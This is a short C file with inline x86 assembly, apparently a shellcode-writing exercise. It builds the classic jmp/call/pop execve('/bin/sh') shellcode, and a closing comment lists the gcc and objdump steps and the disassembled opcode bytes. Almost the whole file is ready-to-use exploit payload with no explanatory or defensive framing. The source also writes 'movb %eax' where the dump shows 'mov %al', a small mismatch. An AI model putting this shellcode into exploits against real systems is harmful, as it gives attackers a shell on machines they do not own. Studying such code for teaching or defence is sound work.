main()
{
asm ("
jmp go_to_jump
ma_fonction:
	popl %esi
	// 0 dans %eax :)
	xorl %eax, %eax
	movl %esi, 0x08(%esi)
	movb %eax, 0x07(%esi)
	movl %eax, 0x0C(%esi)
	movb $0xb, %eax
	movl %esi, %ebx
	leal 0x08(%esi), %ecx
	leal 0x0C(%esi), %edx
	int  $0x80
	
	xorl %ebx, %ebx
	movl %ebx, %eax
//	movb $0x1, %eax	
	inc %eax
	int  $0x80

go_to_jump:
	call ma_fonction
	.string \"/bin/sh\"
");
}

// gcc -o sh-asm sh-asm.c
// objdump -d sh-asm
/* shell code is:
 804839b:       eb 1f                   jmp    80483bc <go_to_jump>

0804839d <ma_fonction>:
 804839d:       5e                      pop    %esi
 804839e:       31 c0                   xor    %eax,%eax
 80483a0:       89 76 08                mov    %esi,0x8(%esi)
 80483a3:       88 46 07                mov    %al,0x7(%esi)
 80483a6:       89 46 0c                mov    %eax,0xc(%esi)
 80483a9:       b0 0b                   mov    $0xb,%al
 80483ab:       89 f3                   mov    %esi,%ebx
 80483ad:       8d 4e 08                lea    0x8(%esi),%ecx
 80483b0:       8d 56 0c                lea    0xc(%esi),%edx
 80483b3:       cd 80                   int    $0x80
 80483b5:       31 db                   xor    %ebx,%ebx
 80483b7:       89 d8                   mov    %ebx,%eax
 80483b9:       40                      inc    %eax
 80483ba:       cd 80                   int    $0x80

080483bc <go_to_jump>:
 80483bc:       e8 dc ff ff ff          call   804839d <ma_fonction>
*/
